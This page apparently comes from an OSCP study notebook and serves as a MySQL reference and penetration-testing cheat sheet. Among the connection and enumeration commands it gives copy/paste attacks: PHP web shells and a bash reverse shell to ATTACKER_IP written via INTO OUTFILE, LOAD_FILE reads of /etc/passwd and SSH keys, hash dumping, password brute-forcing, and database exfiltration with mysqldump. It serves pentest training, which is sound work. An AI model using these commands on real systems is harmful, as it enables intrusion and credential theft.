MySQL — Complete Reference

Ctrl+F: mysqldump · mysqldump.exe · mysqladmin · 3306 · LOAD_FILE · INTO OUTFILE

What is MySQL?

MySQL (and MariaDB) is the most common open-source relational database. On OSCP targets it typically runs on port 3306/TCP. Web apps (PHP, WordPress, etc.) often store credentials in MySQL databases.

OSCP use: Always try root with a blank password first. If you get FILE privilege, you can read system files and write web shells.

Install (Kali)

Includes mysql, mysqldump, and interactive client:

sudo apt update
sudo apt install -y default-mysql-client

Verify: mysql --version · mysqldump --version

Full install index → Installation - Kali Setup

Port

Port	Service
`3306/TCP`	MySQL / MariaDB

Syntax

mysql [options] [database]

📌 1) Connection Flags

Flag	Description
`-h HOST`	Remote host (default: `localhost`)
`-u USER`	Username
`-p`	Prompt for password
`-pPASSWORD`	Password inline (no space after `-p`)
`-P PORT`	Port (default: `3306`) — capital P
`-D DATABASE`	Database to use on connect
`-e "QUERY"`	Execute query and exit (non-interactive)
`-B`	Batch mode — tab-separated output (good for scripting)
`-N`	Skip column names in output
`-s`	Silent mode — minimal formatting
`-A`	Disable auto-rehash (faster startup)
`--batch`	Non-interactive — no prompts, exit on error
`--skip-column-names`	Same as `-N`
`--table`	Output as ASCII table (default)
`--xml`	Output as XML
`--html`	Output as HTML
`--protocol=TCP`	Force TCP (not socket)
`--ssl-mode=DISABLED`	Disable SSL
`--ssl-mode=REQUIRED`	Require SSL
`--ssl-ca=FILE`	CA certificate
`--ssl-cert=FILE`	Client certificate
`--ssl-key=FILE`	Client private key
`--local-infile`	Enable `LOAD DATA LOCAL INFILE` (client-side file read attack)
`-f`	Continue on SQL errors
`-v`	Verbose — show queries
`-vv`	More verbose
`--show-warnings`	Show warnings after queries
`-V` / `--version`	Show version
`--help`	Full help

📌 2) Connecting

# Interactive — prompt for password
mysql -h 10.10.10.10 -u root -p
 
# Blank password (very common on OSCP!)
mysql -h 10.10.10.10 -u root
mysql -h 10.10.10.10 -u root -p''
 
# Inline password
mysql -h 10.10.10.10 -u root -p'Password123'
 
# Specific database
mysql -h 10.10.10.10 -u root -p'Password123' -D webapp_db
 
# Custom port
mysql -h 10.10.10.10 -P 3307 -u root -p
 
# Non-interactive single query
mysql -h 10.10.10.10 -u root -p'Password123' -e "SHOW DATABASES;"
 
# Batch mode (clean output for scripting)
mysql -h 10.10.10.10 -u root -p'Password123' -B -N -e "SELECT user,password FROM users;"
 
# Run SQL file
mysql -h 10.10.10.10 -u root -p'Password123' < queries.sql
mysql -h 10.10.10.10 -u root -p'Password123' -D webapp < dump.sql

📌 3) Nmap Enumeration

nmap -p 3306 -sV 10.10.10.10
nmap -p 3306 --script mysql-info,mysql-empty-password,mysql-databases,mysql-users 10.10.10.10
nmap -p 3306 --script mysql-brute --script-args userdb=users.txt,passdb=passwords.txt 10.10.10.10

📌 4) Interactive Commands (Inside mysql Shell)

-- ─── INFO ─────────────────────────────────────────────────────
SELECT @@version;           -- MySQL version
SELECT @@datadir;           -- Data directory path
SELECT user();              -- Current user
SELECT database();          -- Current database
SELECT @@hostname;          -- Server hostname
SELECT @@secure_file_priv;  -- Where INTO OUTFILE is allowed (empty = anywhere)
 
-- ─── ENUMERATE ────────────────────────────────────────────────
SHOW DATABASES;
USE database_name;
SHOW TABLES;
DESCRIBE table_name;        -- Column names + types
SHOW COLUMNS FROM table_name;
SHOW GRANTS;                -- Your privileges
SHOW GRANTS FOR 'root'@'%';
 
-- List all users and hosts
SELECT user, host FROM mysql.user;
 
-- Dump user password hashes
SELECT user, authentication_string FROM mysql.user;
SELECT user, password FROM mysql.user;   -- older MySQL
 
-- ─── DUMP DATA ────────────────────────────────────────────────
SELECT * FROM users;
SELECT username, password FROM users LIMIT 10;
SELECT * FROM information_schema.tables WHERE table_schema='webapp';
SELECT column_name FROM information_schema.columns WHERE table_name='users';

mysql Shell Meta-Commands

help;           -- Show help
exit; / quit;   -- Exit
\c              -- Clear current input
\! command      -- Run OS command from mysql shell (if allowed)
source file.sql -- Run SQL file
status;         -- Connection info

📌 5) File Read — LOAD_FILE()

Requires FILE privilege (usually root):

-- Read Linux files
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('/etc/hosts');
SELECT LOAD_FILE('/var/www/html/config.php');
SELECT LOAD_FILE('/home/user/.ssh/id_rsa');
 
-- Read Windows files
SELECT LOAD_FILE('C:/Windows/win.ini');
SELECT LOAD_FILE('C:/xampp/htdocs/config.php');
 
-- Check if FILE privilege is available
SHOW GRANTS;
-- Look for: GRANT FILE ON *.* TO 'root'@'%'

Non-interactive:

mysql -h 10.10.10.10 -u root -p'pass' -e "SELECT LOAD_FILE('/etc/passwd');"

📌 6) File Write — INTO OUTFILE / DUMPFILE

Write a web shell or reverse shell to the webroot:

-- PHP web shell
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
 
-- Reverse shell
SELECT '<?php exec("/bin/bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\""); ?>' INTO OUTFILE '/var/www/html/shell.php';
 
-- Windows webroot
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE 'C:/xampp/htdocs/shell.php';
 
-- DUMPFILE (no newline appended — better for binary)
SELECT 'content' INTO DUMPFILE '/path/to/file';

Copy a file (read source → write destination — needs FILE priv + writable @@secure_file_priv path):

-- Direct (mysql client / stacked query)
SELECT LOAD_FILE('C:/Users/Administrator/Desktop/proof.txt') INTO OUTFILE '/TEMP/proof.txt';
 
-- Linux example
SELECT LOAD_FILE('/etc/passwd') INTO OUTFILE '/tmp/passwd_copy';

Check where you can write:

SELECT @@secure_file_priv;   -- '' = anywhere, NULL = disabled, '/path' = only that path
SELECT @@datadir;            -- Default data dir

Verify shell:

curl "http://10.10.10.10/shell.php?cmd=id"

📌 7) UDF / System Command (Less Common)

If lib_mysqludf_sys is installed or you can load a UDF:

SELECT sys_exec('id');
SELECT sys_eval('whoami');

More common path on OSCP: LOAD_FILE + INTO OUTFILE web shell, or SQLi → INTO OUTFILE.

📌 8) Brute Force & Hash Cracking

# Hydra
hydra -l root -P /usr/share/wordlists/rockyou.txt 10.10.10.10 mysql -t 4
hydra -L users.txt -P passwords.txt 10.10.10.10 mysql
 
# Medusa
medusa -h 10.10.10.10 -U users.txt -P passwords.txt -M mysql
 
# Crack MySQL password hashes (from mysql.user table)
# mysql323 (old) — mode 200
# mysql-sha1 — mode 300
# mysql-sha256 — mode 7400
hashcat -m 300 mysql_hash.txt /usr/share/wordlists/rockyou.txt
john --format=mysql-sha1 mysql_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Hash Format	Hashcat Mode
`mysql323`	200
`mysql-sha1`	300
`mysql-sha256`	7400
`bcrypt` ( $2a$ )	3200

📌 9) Common OSCP Scenarios

Blank root password

mysql -h 10.10.10.10 -u root
SHOW DATABASES;
USE wordpress;
SELECT * FROM wp_users;

Web app creds in config file

mysql -h 10.10.10.10 -u webapp -p'found_in_config' -D webapp
SELECT username, password FROM users;

SQLi confirmed → direct MySQL access

# Credentials found via SQLi dump → connect directly for easier enumeration
mysql -h 10.10.10.10 -u admin -p'crackedpass' -D appdb

📌 10) mysqldump — backup / exfiltrate databases

mysqldump is MySQL’s backup utility — dumps schema + data to .sql text. On Kali it ships with default-mysql-client. On Windows targets you often see legitimate binaries:

mysql.exe — interactive client
mysqldump.exe — backup program
mysqladmin.exe — admin (status, create/drop DB, ping)

OSCP use: With DB creds, dump entire DB offline → grep for passwords, API keys, hashes. Also recon when you find MySQL tools on a Windows host (legitimate admin software, not malware by itself).

Linux / Kali

# Single database
mysqldump -h TARGET -u root -p database_name > backup.sql
 
# All databases (needs privilege)
mysqldump -h TARGET -u root -p --all-databases > all.sql
 
# One table
mysqldump -h TARGET -u root -p'pass' dbname users > users.sql
 
# No CREATE DATABASE noise — data only
mysqldump -h TARGET -u root -p'pass' --no-create-info dbname > data.sql

Windows (on target)

REM XAMPP — full lab walkthrough → **[[mysqldump - Windows XAMPP Database Exfiltration]]**
C:\xampp\mysql\bin\mysqldump.exe -u root --all-databases > db.sql
 
mysqldump.exe -u root -p database_name > backup.sql
mysqldump.exe -u root -p --all-databases > backup.sql
mysqladmin.exe -u root -p ping
mysql.exe -u root -p

Transfer backup.sql to Kali → File Transfer

Hunt creds in dump files

grep -Ei "password|passwd|secret|token|apikey|api_key|ssh|PRIVATE KEY|INSERT INTO|CREATE DATABASE|CREATE TABLE|admin|user|login" backup.sql
grep -Ei "password|passwd|secret" zsqldump_utf8.sql

Chain → Credential Discovery · crack hashes → Hashcat / John

📌 Quick Cheat Sheet (Copy/Paste)

# ─── CONNECT ──────────────────────────────────────────────────
mysql -h TARGET -u root -p
mysql -h TARGET -u root -p''
mysql -h TARGET -u root -p'Password123' -D dbname
 
# ─── ONE-LINER QUERIES ────────────────────────────────────────
mysql -h TARGET -u root -p'pass' -e "SHOW DATABASES;"
mysql -h TARGET -u root -p'pass' -e "SELECT user,host FROM mysql.user;"
mysql -h TARGET -u root -p'pass' -B -N -e "SELECT LOAD_FILE('/etc/passwd');"
 
# ─── ENUMERATE ────────────────────────────────────────────────
SHOW DATABASES;
USE dbname; SHOW TABLES;
SELECT * FROM users;
SELECT @@version; SELECT @@secure_file_priv;
 
# ─── FILE READ ────────────────────────────────────────────────
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('/var/www/html/config.php');
 
# ─── FILE COPY (read → write) ───────────────────────────────────
SELECT LOAD_FILE('C:/Users/Administrator/Desktop/proof.txt') INTO OUTFILE '/TEMP/proof.txt';
 
# ─── MYSQLDUMP (backup / exfil) ───────────────────────────────
mysqldump -h TARGET -u root -p database_name > backup.sql
mysqldump -h TARGET -u root -p --all-databases > all.sql
grep -Ei "password|secret|INSERT INTO" backup.sql
 
# ─── WEB SHELL WRITE ──────────────────────────────────────────
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
 
# ─── BRUTE FORCE ──────────────────────────────────────────────
hydra -l root -P /usr/share/wordlists/rockyou.txt TARGET mysql

Pearson's OSCP Notebook

Explorer

MySQL

MySQL — Complete Reference

What is MySQL?

Install (Kali)

Port

Syntax

📌 1) Connection Flags

📌 2) Connecting

📌 3) Nmap Enumeration

📌 4) Interactive Commands (Inside mysql Shell)

mysql Shell Meta-Commands

📌 5) File Read — LOAD_FILE()

📌 6) File Write — INTO OUTFILE / DUMPFILE

📌 7) UDF / System Command (Less Common)

📌 8) Brute Force & Hash Cracking

📌 9) Common OSCP Scenarios

Blank root password

Web app creds in config file

SQLi confirmed → direct MySQL access

📌 10) mysqldump — backup / exfiltrate databases

Linux / Kali

Windows (on target)

Hunt creds in dump files

📌 Quick Cheat Sheet (Copy/Paste)

Graph View

Table of Contents

Backlinks

Pearson's OSCP Notebook

Explorer

MySQL

MySQL — Complete Reference

What is MySQL?

Install (Kali)

Port

Syntax

📌 1) Connection Flags

📌 2) Connecting

📌 3) Nmap Enumeration

📌 4) Interactive Commands (Inside mysql Shell)

mysql Shell Meta-Commands

📌 5) File Read — LOAD_FILE()

📌 6) File Write — INTO OUTFILE / DUMPFILE

📌 7) UDF / System Command (Less Common)

📌 8) Brute Force & Hash Cracking

📌 9) Common OSCP Scenarios

Blank root password

Web app creds in config file

SQLi confirmed → direct MySQL access

📌 10) mysqldump — backup / exfiltrate databases

Linux / Kali

Windows (on target)

Hunt creds in dump files

📌 Quick Cheat Sheet (Copy/Paste)

Related Tools

Related Notes

Graph View

Table of Contents

Backlinks